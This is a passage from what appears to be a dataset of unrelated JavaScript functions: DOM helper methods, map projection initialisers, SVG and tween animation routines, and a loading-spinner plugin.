getGeneratedQueryText(...arguments);\n\n let elements = this.querySelectorAll(queryText);\n elements = Array.from(elements);\n elements.forEach(JJPower.enhance);\n return elements;\n };\n\n JJPower.prototype.jjGetChildren = function () {\n let elements = this.children || this.childNodes;\n elements = Array.from(elements);\n elements.forEach(JJPower.enhance);\n return elements;\n };\n\n JJPower.prototype.jjStyle = function (styleMap) {\n const keys = Object.keys(styleMap);\n for (const key of keys) {\n this.style[key] = styleMap[key];\n }\n return this;\n };\n\n JJPower.prototype.jjAttr = function (attrMap) {\n const keys = Object.keys(attrMap);\n let val;\n for (const key of keys) {\n val = attrMap[key];\n this.setAttribute(key, attrMap[key]);\n if (!val) {\n this.removeAttribute(key);\n }\n }\n return this;\n };\n\n JJPower.prototype.jjAddEventListener = function (eventName, callBack, useCapture) {\n let jjEventName = eventName;\n if (JJPower.isMobile) {\n jjEventName = getMobileEventName(eventName, this);\n }\n if (jjEventName) {\n this.addEventListener(jjEventName, callBack, useCapture);\n }\n\n return this;\n };\n\n JJPower.prototype.jjRemoveEventListener = function (eventName, callBack, useCapture) {\n let jjEventName = eventName;\n if (JJPower.isMobile) {\n jjEventName = getMobileEventName(eventName, this);\n }\n if (jjEventName) {\n this.removeEventListener(jjEventName, callBack, useCapture);\n }\n\n return this;\n };\n\n JJPower.prototype.jjAddClass = function () {\n try { // If the user gives bad dataList (eg. empty string) don't overreact, stay cool\n const styleModuleObject = arguments[0];\n if (typeof styleModuleObject === 'string') { // This means we're in sandbox\n this.classList.add(...arguments);\n } else { // this means we're using css modules\n let className;\n for (let i = 1; i < arguments.length; i++) {\n className = arguments[i];\n this.classList.add(styleModuleObject[className]);\n }\n }\n } catch (e) {\n }\n\n return this;\n };\n\n JJPower.prototype.jjRemoveClass = function () {\n const styleModuleObject = arguments[0];\n if (typeof styleModuleObject === 'string') { // This means we're in sandbox\n this.classList.remove(...arguments);\n } else { // this means we're using css modules\n let className;\n for (let i = 1; i < arguments.length; i++) {\n className = arguments[i];\n this.classList.remove(styleModuleObject[className]);\n }\n }\n\n return this;\n };\n\n JJPower.prototype.jjToggleClass = function () {\n const styleModuleObject = arguments[0];\n let hasStyleModuleObject = false;\n let startIndex = 0;\n let className;\n if (typeof styleModuleObject !== 'string') { // this means we're using css modules\n hasStyleModuleObject = true;\n startIndex = 1;\n }\n\n for (let i = startIndex; i < arguments.length; i++) {\n className = (hasStyleModuleObject ? styleModuleObject[arguments[i]] : arguments[i]);\n if (this.classList.contains(className)) {\n this.classList.remove(className);\n } else {\n this.classList.add(className);\n }\n }\n\n return this;\n };\n\n JJPower.prototype.jjContainsClass = function () {\n let className = getGeneratedClassName(...arguments);\n let classList = this.classList;\n return classList.contains(className);\n };\n\n\n JJPower.prototype.jjClear = function () {\n while (this.firstChild) { // If the user gives bad dataList (eg. empty string) don't overreact, stay cool\n this.removeChild(this.firstChild);\n }\n return this;\n };\n\n JJPower.prototype.jjRemoveMe = function () {\n let parentNode = this.parentNode;\n if (parentNode) {\n parentNode.removeChild(this);\n }\n };\n\n JJPower.prototype.jjText = function (textContent) {\n this.textContent = textContent;\n return this;\n };\n\n JJPower.prototype.jjAddText = function (textContent) {\n let textNode = document.createTextNode(textContent);\n this.appendChild(textNode);\n return this;\n };\n\n JJPower.prototype.jjAddBoldText = function (textContent) {\n this.jjAppend(\"b\")\n .jjText(textContent);\n return this;\n };\n\n JJPower.prototype.jjAddTextBreak = function () {\n this.jjAppend(\"br\");\n return this;\n };\n\n JJPower.prototype.jjClone = function (isDeep) {\n const element = this.cloneNode(isDeep);\n JJPower.enhance(element);\n return element;\n };\n\n JJPower.prototype.jjSetData = function (dataObject) {\n this.__data__ = dataObject;\n return this;\n };\n\n JJPower.prototype.jjGetData = function () {\n return this.__data__;\n };\n\n JJPower.prototype.jjSetIndex = function (index) {\n this.setAttribute('jjIndex', index);\n return this;\n };\n\n JJPower.prototype.jjGetIndex = function () {\n return +this.getAttribute('jjIndex');\n };\n\n //Returns null if no papa found\n JJPower.prototype.jjGetClosestPapaWithClass = function () {\n const className = getGeneratedClassName(...arguments);\n let bingoPapa = this.closest(\".\" + className);\n return JJPower.enhance(bingoPapa);\n };\n\n //Returns null if no papa found\n JJPower.prototype.jjClosest = function () {\n const selectorStr = getGeneratedQueryText(...arguments);\n let bingoPapa = this.closest(selectorStr);\n return JJPower.enhance(bingoPapa);\n };\n\n JJPower.prototype.jjIsAncestor = function (ancestor) {\n let papa = this;\n while (papa && (papa !== ancestor)) {\n papa = papa.parentNode;\n }\n return papa;\n };\n\n\n JJPower.prototype.jjGetStylePixelNumberValue = function (styleName) {\n let strOrig = this.style[styleName];\n let numStr = strOrig.replace(\"px\", \"\");\n return +numStr;\n };\n\n /** Measurements Calculations **/\n //This is expensive! Uses getBoundingClientRect\n JJPower.prototype.jjMouseCoordinatesRelativeToMe = function (event) {\n let clientRect = this.getBoundingClientRect();\n let x = event.clientX - clientRect.left;\n let y = event.clientY - clientRect.top;\n\n return {\n x: x,\n y: y,\n rect: clientRect\n }\n };\n\n /** Inline Style **/\n JJPower.prototype.jjApplyTransform = function (x, y, rotation, rotateFirst, translateUnit) {\n let hasTranslate = (x !== undefined || y !== undefined);\n\n if (!y) {\n y = 0;\n }\n if (!x) {\n x = 0;\n }\n if (!translateUnit) {\n translateUnit = \"px\";\n }\n\n let transformStr = \"\";\n let isSVG = this instanceof SVGElement;\n\n let translateStr = \"\";\n let rotateStr = \"\";\n\n if (hasTranslate) {\n translateStr = getTranslateStr();\n }\n if (rotation) {\n rotateStr = getRotateStr();\n }\n\n if (rotateFirst) {\n transformStr = rotateStr + \" \" + translateStr;\n } else {\n transformStr = translateStr + \" \" + rotateStr;\n }\n transformStr.trim();\n\n\n if (isSVG) {\n this.setAttribute(\"transform\", transformStr);\n } else {\n this.style.transform = transformStr;\n }\n\n this.jjTotallyUnreliableY = y; //Ugly workaround for specific issue\n this.jjTotallyUnreliableX = x; //Ugly workaround for specific issue\n\n return this;\n\n //Inner functions\n function getTranslateStr() {\n let translateStr;\n if (isSVG) {\n translateStr = `translate(${x}, ${y})`;\n } else {\n translateStr = `translate(${x}${translateUnit}, ${y}${translateUnit})`;\n }\n return translateStr;\n }\n\n function getRotateStr() {\n let rotateStr;\n if (isSVG) {\n rotateStr = `rotate(${rotation})`;\n } else {\n rotateStr = `rotate(${rotation}deg)`;\n }\n return rotateStr;\n }\n };\n\n /** Animation **/\n JJPower.prototype.jjAnimate = function (frameFunction, animationDuration, endFunction, isLinear, timingArr) { // Frame function runs each frame, and takes the current progress param!\n timingArr = timingArr || JJPower.easeArray;\n let timingLen = timingArr.length - 1;\n let me = this;\n let animationObj = {stopNow: false, t: 0};\n\n const startTime = new Date().getTime();\n isLinear = isLinear || animationDuration > 4000;\n\n\n if (!me.animationList) {\n me.animationList = [];\n }\n me.animationList.push(animationObj);\n\n requestAnimationFrame(repeatAnimation);\n\n return animationObj;\n\n /* Inner Functions */\n function repeatAnimation() {\n if (animationObj.stopNow) { //It hurts my soul to return in the middle of a function, but had to. God forgive me.\n return;\n }\n\n const nowTime = new Date().getTime();\n let progressTime = nowTime - startTime;\n progressTime = Math.min(animationDuration, progressTime);\n\n let t = progressTime / animationDuration;\n if (!isLinear) {\n t = JJPower.easeInTiming(t, timingArr, timingLen);\n }\n\n frameFunction(t);\n\n if (t < 1) {\n requestAnimationFrame(repeatAnimation);\n } else if (endFunction) {\n endFunction();\n }\n\n animationObj.t = t;\n }\n };\n\n JJPower.easeInTiming = function (t, timingArr, timingLen) {\n let real = t * timingLen;\n let base = Math.floor(real);\n let next = Math.ceil(real);\n let retT = getValueByProgress(timingArr[base], timingArr[next], real - base);\n return retT;\n\n /* Inner Function */\n function getValueByProgress(startValue, endValue, t){\n return startValue + (endValue - startValue) * t;\n }\n };\n\n JJPower.prototype.jjStopAnimation = function () {\n let me = this;\n if (me.animationList) {\n for (let animationObj of me.animationList) {\n animationObj.stopNow = true;\n }\n }\n return me;\n };\n\n /** *Awful but necessary *****/\n // Used to time css animations. We need to assign the animation start state, then reflow so it will be set, and then assign the end state\n JJPower.prototype.jjForceStyleRecalc = function () {\n let computedStyle = window.getComputedStyle(this);\n return computedStyle.transform;\n };\n\n /******* Private Functions ******/\n\n /** Mobile **/\n function getMobileEventName(origEventName, element) {\n if (element == document && origEventName == \"click\") {\n return \"touchstart\";\n }\n\n switch (origEventName) {\n case \"mousedown\":\n return \"touchstart\";\n case \"mousemove\":\n return \"touchmove\";\n case \"mouseup\":\n return \"touchend\";\n case \"mouseenter\":\n return \"\";\n case \"mouseleave\":\n return \"\";\n case \"mouseover\":\n return \"\";\n case \"mouseout\":\n return \"\";\n default:\n return origEventName\n }\n }\n\n /** CSS Modules **/\n function getGeneratedClassName() {\n let className;\n const param1 = arguments[0];\n const param2 = arguments[1];\n\n if (!param2) { // This means we received only a string representing the selector\n className = param1;\n } else { // this means we're using css modules, and also received the styles object\n className = param2;\n const stylesObject = param1;\n className = stylesObject[className] || param2;\n }\n\n return className;\n };\n\n function getGeneratedQueryText() {\n let queryText;\n const param1 = arguments[0];\n const param2 = arguments[1];\n const stylesObject = param1;\n\n if (!param2) { // This means we received only a string representing the selector\n queryText = param1;\n } else { // this means we're using css modules, and also received the styles object\n queryText = param2;\n queryText = queryText.replace(/(\\.[a-zA-Z0-9]+)/g, replaceFunction);\n }\n return queryText;\n\n\n /* Inner Function */\n function getStyleObjectClassSelector(origQueryText) {\n let classSelector = origQueryText.replace('.', '');\n classSelector = stylesObject[classSelector];\n if (!classSelector) {\n classSelector = origQueryText.replace('.', '');\n }\n classSelector = `.${classSelector}`;\n\n return classSelector;\n }\n\n function replaceFunction(match, p1) {\n let classSelector = getStyleObjectClassSelector(p1, stylesObject);\n return classSelector;\n }\n };\n\n /** Finally. Enhance the document (mainly for attaching mobile friendly event listeners) **/\n JJPower.enhance(document);\n}", "function init() {\n this.no_off = this.no_off || false;\n this.no_rot = this.no_rot || false;\n\n if (isNaN(this.k0)) {\n this.k0 = 1;\n }\n var sinlat = Math.sin(this.lat0);\n var coslat = Math.cos(this.lat0);\n var con = this.e * sinlat;\n\n this.bl = Math.sqrt(1 + this.es / (1 - this.es) * Math.pow(coslat, 4));\n this.al = this.a * this.bl * this.k0 * Math.sqrt(1 - this.es) / (1 - con * con);\n var t0 = Object(_common_tsfnz__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(this.e, this.lat0, sinlat);\n var dl = this.bl / coslat * Math.sqrt((1 - this.es) / (1 - con * con));\n if (dl * dl < 1) {\n dl = 1;\n }\n var fl;\n var gl;\n if (!isNaN(this.longc)) {\n //Central point and azimuth method\n\n if (this.lat0 >= 0) {\n fl = dl + Math.sqrt(dl * dl - 1);\n }\n else {\n fl = dl - Math.sqrt(dl * dl - 1);\n }\n this.el = fl * Math.pow(t0, this.bl);\n gl = 0.5 * (fl - 1 / fl);\n this.gamma0 = Math.asin(Math.sin(this.alpha) / dl);\n this.long0 = this.longc - Math.asin(gl * Math.tan(this.gamma0)) / this.bl;\n\n }\n else {\n //2 points method\n var t1 = Object(_common_tsfnz__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(this.e, this.lat1, Math.sin(this.lat1));\n var t2 = Object(_common_tsfnz__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(this.e, this.lat2, Math.sin(this.lat2));\n if (this.lat0 >= 0) {\n this.el = (dl + Math.sqrt(dl * dl - 1)) * Math.pow(t0, this.bl);\n }\n else {\n this.el = (dl - Math.sqrt(dl * dl - 1)) * Math.pow(t0, this.bl);\n }\n var hl = Math.pow(t1, this.bl);\n var ll = Math.pow(t2, this.bl);\n fl = this.el / hl;\n gl = 0.5 * (fl - 1 / fl);\n var jl = (this.el * this.el - ll * hl) / (this.el * this.el + ll * hl);\n var pl = (ll - hl) / (ll + hl);\n var dlon12 = Object(_common_adjust_lon__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(this.long1 - this.long2);\n this.long0 = 0.5 * (this.long1 + this.long2) - Math.atan(jl * Math.tan(0.5 * this.bl * (dlon12)) / pl) / this.bl;\n this.long0 = Object(_common_adjust_lon__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(this.long0);\n var dlon10 = Object(_common_adjust_lon__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(this.long1 - this.long0);\n this.gamma0 = Math.atan(Math.sin(this.bl * (dlon10)) / gl);\n this.alpha = Math.asin(dl * Math.sin(this.gamma0));\n }\n\n if (this.no_off) {\n this.uc = 0;\n }\n else {\n if (this.lat0 >= 0) {\n this.uc = this.al / this.bl * Math.atan2(Math.sqrt(dl * dl - 1), Math.cos(this.alpha));\n }\n else {\n this.uc = -1 * this.al / this.bl * Math.atan2(Math.sqrt(dl * dl - 1), Math.cos(this.alpha));\n }\n }\n\n}", "function initialize()\n {\n for (var i = 0; i < 128; i++)\n {\n Actuators[i] = false;\n Sensors[i] = false;\n }\n\n $(\"#\" + SettingsParameter.AnimationDIVName).load('ECP/Animation/Images/Image_3AxisPortal.svg', function ()\n {\n SVG = $('#SVGAnimation');\n SVGCanvas = Snap('#SVGAnimation');\n\n XAxis = $('#xaxis');\n YAxis = $('#yaxis');\n ZAxis = $('#zaxis');\n\n Snap_ZAxis = Snap('#zaxis');\n Snap_XAxis = Snap('#xaxis');\n Snap_YAxis = Snap('#yaxis');\n\n Magnet = Snap('#magnet');\n\t\t\tMagnetSize['x'] = Snap('#magnet').getBBox().x;\n MagnetSize['y'] = Snap('#magnet').getBBox().y;\n\n ArrowLeft = Snap('#arrowleft');\n SensorColors[ArrowLeft.attr('id')] = [\"#ffff00\",\"#7f7f00\"];\n\t\t\tArrowLeftSize['x'] = Snap('#arrowleft').getBBox().x;\n ArrowLeftSize['y'] = Snap('#arrowleft').getBBox().y;\n\n ArrowRight = Snap('#arrowright');\n SensorColors[ArrowRight.attr('id')] = [\"#ffff00\",\"#7f7f00\"];\n\t\t\tArrowRightSize['x'] = Snap('#arrowright').getBBox().x;\n ArrowRightSize['y'] = Snap('#arrowright').getBBox().y;\n\n UserSwitch = Snap(\"#switch\");\n\t\t\tUserSwitchSize['x'] = Snap('#switch').getBBox().x;\n UserSwitchSize['y'] = Snap('#switch').getBBox().y;\n\n UserSwitchSlider = $(\"#switchchange\");\n\n ArrowUp = Snap('#arrowup');\n\t\t\tArrowUpSize['x'] = Snap('#arrowup').getBBox().x;\n ArrowUpSize['y'] = Snap('#arrowup').getBBox().y;\n\n ArrowDown = Snap('#arrowdown');\n\t\t\tArrowDownSize['x'] = Snap('#arrowdown').getBBox().x;\n ArrowDownSize['y'] = Snap('#arrowdown').getBBox().y;\n\n ArrowTop = Snap('#arrowtop');\n\t\t\tArrowTopSize['x'] = Snap('#arrowtop').getBBox().x;\n ArrowTopSize['y'] = Snap('#arrowtop').getBBox().y;\n\n ArrowBottom = Snap('#arrowbottom');\n\t\t\tArrowBottomSize['x'] = Snap('#arrowbottom').getBBox().x;\n ArrowBottomSize['y'] = Snap('#arrowbottom').getBBox().y;\n\n YSensorMiddle1 = Snap('#sensor_y_middle1');\n\t\t\tYSensorMiddle1Size['x'] = Snap('#sensor_y_middle1').getBBox().x;\n YSensorMiddle1Size['y'] = Snap('#sensor_y_middle1').getBBox().y;\n\n YSensorMiddle2 = Snap('#sensor_y_middle2');\n\t\t\tYSensorMiddle2Size['x'] = Snap('#sensor_y_middle2').getBBox().x;\n YSensorMiddle2Size['y'] = Snap('#sensor_y_middle2').getBBox().y;\n\n XSensorMiddle = Snap('#sensor_x_middle');\n\t\t\tXSensorMiddleSize['x'] = Snap('#sensor_x_middle').getBBox().x;\n XSensorMiddleSize['y'] = Snap('#sensor_x_middle').getBBox().y;\n\n YSensorDown = Snap('#sensor_y_down');\n\t\t\tYSensorDownSize['x'] = Snap('#sensor_y_down').getBBox().x;\n YSensorDownSize['y'] = Snap('#sensor_y_down').getBBox().y;\n\n YSensorUp = Snap('#sensor_y_up');\n\t\t\tYSensorUpSize['x'] = Snap('#sensor_y_up').getBBox().x;\n YSensorUpSize['y'] = Snap('#sensor_y_up').getBBox().y;\n\n XSensorRight = Snap('#sensor_x_right');\n\t\t\tXSensorRightSize['x'] = Snap('#sensor_x_right').getBBox().x;\n XSensorRightSize['y'] = Snap('#sensor_x_right').getBBox().y;\n\n XSensorLeft = Snap('#sensor_x_left');\n\t\t\tXSensorLeftSize['x'] = Snap('#sensor_x_left').getBBox().x;\n XSensorLeftSize['y'] = Snap('#sensor_x_left').getBBox().y;\n\n ZSensorTop = Snap('#sensor_z_top');\n\t\t\tZSensorTopSize['x'] = Snap('#sensor_z_top').getBBox().x;\n ZSensorTopSize['y'] = Snap('#sensor_z_top').getBBox().y;\n\n ZSensorBottom = Snap('#sensor_z_bottom');\n\t\t\tZSensorBottomSize['x'] = Snap('#sensor_z_bottom').getBBox().x;\n ZSensorBottomSize['y'] = Snap('#sensor_z_bottom').getBBox().y;\n\n SensorHall1 = Snap('#Desk1');\n\t\t\tSensorHall1Size['x'] = Snap('#Desk1').getBBox().x;\n SensorHall1Size['y'] = Snap('#Desk1').getBBox().y;\n\n SensorHall2 = Snap('#Desk2');\n\t\t\tSensorHall2Size['x'] = Snap('#Desk2').getBBox().x;\n SensorHall2Size['y'] = Snap('#Desk2').getBBox().y;\n\n SensorColors[XSensorRight.attr('id')] = [\"#ffff00\",\"#7f7f00\"];\n\t\t\tSensorColors[XSensorLeft.attr('id')] = [\"#ffff00\",\"#7f7f00\"];\n\n SVG.attr(\"height\", \"100%\");\n SVG.attr(\"width\", \"100%\");\n\n // Environment Button\n\n $(\"#switch\").on(\"click\", function ()\n {\n if (UserSwitchStateMachine() == \"Up\")\n {\n UserSwitchSlider.attr(\"x\", UserSwitchSliderPositionUp);\n UserSwitchSlider.attr(\"fill\", UserSwitchSliderColorRed);\n SendEnvironmentVariableCommand(Enum3AxisPortalEnvironmentVariables.Snap_UserSwitch, \"0\");\n }\n else\n {\n UserSwitchSlider.attr(\"x\", UserSwitchSliderPositionDown);\n UserSwitchSlider.attr(\"fill\", UserSwitchSliderColorGreen);\n SendEnvironmentVariableCommand(Enum3AxisPortalEnvironmentVariables.Snap_UserSwitch, \"1\");\n }\n });\n\n XPosition = XMin;\n YPosition = YMin;\n ZPosition = ZMin;\n\n\t\t\tXAxis.attr(\"x\", XPosition);\n\t\t\tYAxis.attr(\"y\", YPosition);\n\t\t\tZAxis.attr(\"y\", ZPosition);\n\n AnimationTimer = setInterval(Refresh, RefreshTime);\n\n BlinkingTimer = setInterval(function()\n {\n LetItBlink(HoverSelectedParts, BlinkingActive);\n BlinkingActive = !BlinkingActive;\n\n }, BlinkingInterval);\n\n CallBack();\n });\n\n }", "function init() {\n this.x0 = this.x0 !== undefined ? this.x0 : 0;\n this.y0 = this.y0 !== undefined ? this.y0 : 0;\n this.long0 = this.long0 !== undefined ? this.long0 : 0;\n this.lat0 = this.lat0 !== undefined ? this.lat0 : 0;\n\n if (this.es) {\n this.en = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_0__common_pj_enfn__[\"a\" /* default */])(this.es);\n this.ml0 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_pj_mlfn__[\"a\" /* default */])(this.lat0, Math.sin(this.lat0), Math.cos(this.lat0), this.en);\n }\n}", "function getNewTween(obj, props, duration, easingFn, onProgress, onComplete) {\n\t var starts = {};\n\t var changes = {};\n\t var startTime = new Date();\n\t\n\t var prop;\n\t\n\t for (prop in props) {\n\t starts[prop] = obj[prop];\n\t changes[prop] = props[prop] - starts[prop];\n\t }\n\t\n\t var currentTime = void 0;\n\t\n\t return function () {\n\t currentTime = new Date() - startTime;\n\t\n\t if (currentTime < duration) {\n\t\n\t for (prop in props) {\n\t obj[prop] = easingFn(currentTime, starts[prop], changes[prop], duration);\n\t }\n\t\n\t // pass in arguments in case you need to reference\n\t // something when calling returned function in callback\n\t if (onProgress) onProgress(arguments);\n\t } else {\n\t\n\t currentTime = duration;\n\t for (var prop in props) {\n\t obj[prop] = easingFn(currentTime, starts[prop], changes[prop], duration);\n\t }\n\t\n\t // pass in arguments in case you need to reference\n\t // something when calling returned function in callback\n\t if (onComplete) onComplete(arguments);\n\t }\n\t };\n\t}", "start(){\n this.setMiddleCanva();\n this.changeBallSpeed(4,1);\n }", "function bannerInit() {\n //set unique positions and other values you plan from animate here\n\n t.set([], setValues);\n\n t.set([logo,bk1,img01, img02, img03], { y: 300 })\n // t.set(blinds, {scaleX:.3})\n // t.set(blinds, {autoAlpha:0});\n // t.set(blindGroup, {scaleX:0, autoAlpha:0});\n\n // t.set([copy03, copy04,copy05,copy06], {autoAlpha:0});\n\n\n \n\n\n\n //init animation\n Frame01();\n\n }", "function initTimeSetting() {\n\tsetLineSpeed();\n}", "function init() {\n var t = Math.abs(this.lat0);\n if (Math.abs(t - _constants_values__WEBPACK_IMPORTED_MODULE_0__[\"HALF_PI\"]) < _constants_values__WEBPACK_IMPORTED_MODULE_0__[\"EPSLN\"]) {\n this.mode = this.lat0 < 0 ? this.S_POLE : this.N_POLE;\n }\n else if (Math.abs(t) < _constants_values__WEBPACK_IMPORTED_MODULE_0__[\"EPSLN\"]) {\n this.mode = this.EQUIT;\n }\n else {\n this.mode = this.OBLIQ;\n }\n if (this.es > 0) {\n var sinphi;\n\n this.qp = Object(_common_qsfnz__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(this.e, 1);\n this.mmf = 0.5 / (1 - this.es);\n this.apa = authset(this.es);\n switch (this.mode) {\n case this.N_POLE:\n this.dd = 1;\n break;\n case this.S_POLE:\n this.dd = 1;\n break;\n case this.EQUIT:\n this.rq = Math.sqrt(0.5 * this.qp);\n this.dd = 1 / this.rq;\n this.xmf = 1;\n this.ymf = 0.5 * this.qp;\n break;\n case this.OBLIQ:\n this.rq = Math.sqrt(0.5 * this.qp);\n sinphi = Math.sin(this.lat0);\n this.sinb1 = Object(_common_qsfnz__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(this.e, sinphi) / this.qp;\n this.cosb1 = Math.sqrt(1 - this.sinb1 * this.sinb1);\n this.dd = Math.cos(this.lat0) / (Math.sqrt(1 - this.es * sinphi * sinphi) * this.rq * this.cosb1);\n this.ymf = (this.xmf = this.rq) / this.dd;\n this.xmf *= this.dd;\n break;\n }\n }\n else {\n if (this.mode === this.OBLIQ) {\n this.sinph0 = Math.sin(this.lat0);\n this.cosph0 = Math.cos(this.lat0);\n }\n }\n}", "function checkEasing(href){\n //Default to EaseOutBack, unless the target is '#Home' or '#Contact'\n //using a \"back easing function causes it to glitch out because it is going beyond the body limits\n easingEffect='easeOutBack';\n duration=1000;\n if (href==='#Home' || href==='#Contact'){\n easingEffect='easeOutQuart';\n duration=1500;\n }\n}", "function step () {\n\n\t\t// Kick off animation\n\t\tif (!global_animator.started) {\n\t\t\tglobal_animator.animate();\n\t\t}\n\n\t\t// Animate the Es to Scale\n\t\tif (global_animator.value >= (a_e_s.ratio * a_e_s.order) && !a_e_s.started) {\n\t\t\t// a_e_s.msec = global_animator.msec * a_e_s.ratio;\n\t\t\ta_e_s.animate();\n\t\t}\n\n\t\t// // Animate the Dots to Scale\n\t\tif (global_animator.value >= (a_d_s.ratio * a_d_s.order) && !a_d_s.started) {\n\t\t\t// a_d_s.msec = global_animator.msec * a_d_s.ratio;\n\t\t\t// console.log(\"Dots scale\");\n\t\t\ta_d_s.animate();\n\t\t}\n\t\t\n\t\t// // Animate the Dots to Rotate\n\t\tif (global_animator.value >= (a_d_r.ratio * a_d_r.order) && !a_d_r.started) {\n\t\t\t// a_d_r.msec = global_animator.msec * a_d_r.ratio;\n\t\t\t// console.log(\"Dots rotate\");\n\t\t\ta_d_r.animate();\n\t\t}\n\n\t\t// // Animate the Dots to Change Diameter\n\t\tif (global_animator.value >= (a_d_d.ratio * a_d_d.order) && !a_d_d.started) {\n\t\t\t// a_d_d.msec = global_animator.msec * a_d_d.ratio;\n\t\t\t// console.log(\"Dots diamter\");\n\t\t\ta_d_d.animate();\n\t\t}\n\n\t\t// // Animate both the Dots & Es to Rotate\n\t\tif (global_animator.value >= (a_ed_r.ratio * a_ed_r.order) && !a_ed_r.started) {\n\t\t\t// a_ed_r.msec = global_animator.msec * a_ed_r.ratio;\n\t\t\t// console.log(\"Both rotate\");\n\t\t\ta_ed_r.animate();\n\t\t}\n\n\t\t// // Animate both the Line start positons\n\t\tif (global_animator.value >= (a_l_ds.ratio * a_l_ds.order) && !a_l_ds.started) {\n\t\t\t// a_l_ds.msec = global_animator.msec * a_l_ds.ratio;\n\t\t\t// console.log(\"Line Start\");\n\t\t\ta_l_ds.animate();\n\t\t}\n\n\t\t// // Animate both the Line end positons\n\t\tif (global_animator.value >= (a_l_de.ratio * a_l_de.order) && !a_l_de.started) {\n\t\t\t// a_l_de.msec = global_animator.msec * a_l_de.ratio;\n\t\t\t// console.log(\"Line End\");\n\t\t\ta_l_de.animate();\n\t\t}\n\n\t}", "function BezierEasing(points) {\n this._p = points;\n this._mSampleValues = float32ArraySupported ? new Float32Array(kSplineTableSize) : new Array(kSplineTableSize);\n this._precomputed = false;\n this.get = this.get.bind(this);\n }", "_init() {\n this.start();\n for (let i = 0; i < _activeEvents.length; i++) {\n // useCapture is used so that every event will trigger reset.\n $.on.call(this, _activeEvents[i], () => {this.reset()}, {}, this.target, true);\n }\n }", "_init() {\n var input;\n // Parse animation classes if they were set\n if (this.options.animate) {\n input = this.options.animate.split(' ');\n\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n }\n // Otherwise, parse toggle class\n else {\n input = this.$element.data('toggler');\n // Allow for a . at the beginning of the string\n this.className = input[0] === '.' ? input.slice(1) : input;\n }\n\n // Add ARIA attributes to triggers\n var id = this.$element[0].id;\n $(`[data-open=\"${id}\"], [data-close=\"${id}\"], [data-toggle=\"${id}\"]`)\n .attr('aria-controls', id);\n // If the target is hidden, add aria-hidden\n this.$element.attr('aria-expanded', this.$element.is(':hidden') ? false : true);\n }", "function startMoving(){\n ninjaLevitation(animTime);\n //sunrise();\n var particular4transl_50 = 50 / animTime;\n var particular4transl_100 = 100 / animTime;\n var particular4opacity_0 = 1 / animTime;\n var particular4opacity_075 = 0.75 / animTime;\n animate(function(timePassed) {\n forBackgnd.attr({opacity : particular4opacity_0 * timePassed});\n instagramLogo.attr({opacity : particular4opacity_0 * timePassed, 'transform' : 't 0, '+(100 - particular4transl_100 * timePassed)});\n mountFog.attr({opacity : 0.75 - particular4opacity_075 * timePassed});\n sunRays.attr({opacity : particular4opacity_0 * timePassed, 'transform' : 't 0, '+(50 - particular4transl_50 * timePassed)});\n }, animTime);\n}", "function Plugin(element, options) {\n var $that = this;\n this.element = element;\n this.animations = {\n doubleBounce: {\n html: '<div class=\"sk-double-bounce\"><div class=\"sk-child sk-double-bounce1\"></div><div class=\"sk-child sk-double-bounce2\"></div></div>'\n },\n rotatingPlane: {\n html: '<div class=\"sk-rotating-plane\"></div>',\n setBackground: function setBackground(color) {\n $that.animationBox.find('*').each(function (k, e) {\n if ($(e).css('background-color') && $(e).css('background-color') != 'rgba(0, 0, 0, 0)') {\n $(e).css('background-color', color);\n }\n });\n }\n },\n wave: {\n html: '<div class=\"sk-wave\"> <div class=\"sk-rect sk-rect1\"></div> <div class=\"sk-rect sk-rect2\"></div> <div class=\"sk-rect sk-rect3\"></div> <div class=\"sk-rect sk-rect4\"></div> <div class=\"sk-rect sk-rect5\"></div> </div>'\n },\n wanderingCubes: {\n html: '<div class=\"sk-wandering-cubes\"><div class=\"sk-cube sk-cube1\"></div><div class=\"sk-cube sk-cube2\"></div></div>'\n },\n spinner: {\n html: '<div class=\"sk-spinner sk-spinner-pulse\"></div>'\n },\n chasingDots: {\n html: '<div class=\"sk-chasing-dots\"><div class=\"sk-child sk-dot1\"></div><div class=\"sk-child sk-dot2\"></div></div>'\n },\n threeBounce: {\n html: '<div class=\"sk-three-bounce\"><div class=\"sk-child sk-bounce1\"></div><div class=\"sk-child sk-bounce2\"></div><div class=\"sk-child sk-bounce3\"></div></div>'\n },\n circle: {\n html: '<div class=\"sk-circle\"> <div class=\"sk-circle1 sk-child\"></div> <div class=\"sk-circle2 sk-child\"></div> <div class=\"sk-circle3 sk-child\"></div> <div class=\"sk-circle4 sk-child\"></div> <div class=\"sk-circle5 sk-child\"></div> <div class=\"sk-circle6 sk-child\"></div> <div class=\"sk-circle7 sk-child\"></div> <div class=\"sk-circle8 sk-child\"></div> <div class=\"sk-circle9 sk-child\"></div> <div class=\"sk-circle10 sk-child\"></div> <div class=\"sk-circle11 sk-child\"></div> <div class=\"sk-circle12 sk-child\"></div> </div>',\n setBackground: function setBackground(color) {\n $that.animationBox.children().find('*').each(function (k, e) {\n if (window.getComputedStyle(e, ':before').getPropertyValue('background-color') !== 'rgba(0, 0, 0, 0)') {\n $('body').append($('<style data-custom-style>.' + $(e).attr('class').split(' ')[0] + ':before {background-color: ' + color + ' !important;}</style>'));\n }\n });\n }\n },\n cubeGrid: {\n html: '<div class=\"sk-cube-grid\"> <div class=\"sk-cube sk-cube1\"></div> <div class=\"sk-cube sk-cube2\"></div> <div class=\"sk-cube sk-cube3\"></div> <div class=\"sk-cube sk-cube4\"></div> <div class=\"sk-cube sk-cube5\"></div> <div class=\"sk-cube sk-cube6\"></div> <div class=\"sk-cube sk-cube7\"></div> <div class=\"sk-cube sk-cube8\"></div> <div class=\"sk-cube sk-cube9\"></div> </div>'\n },\n fadingCircle: {\n html: '<div class=\"sk-fading-circle\"> <div class=\"sk-circle1 sk-circle\"></div> <div class=\"sk-circle2 sk-circle\"></div> <div class=\"sk-circle3 sk-circle\"></div> <div class=\"sk-circle4 sk-circle\"></div> <div class=\"sk-circle5 sk-circle\"></div> <div class=\"sk-circle6 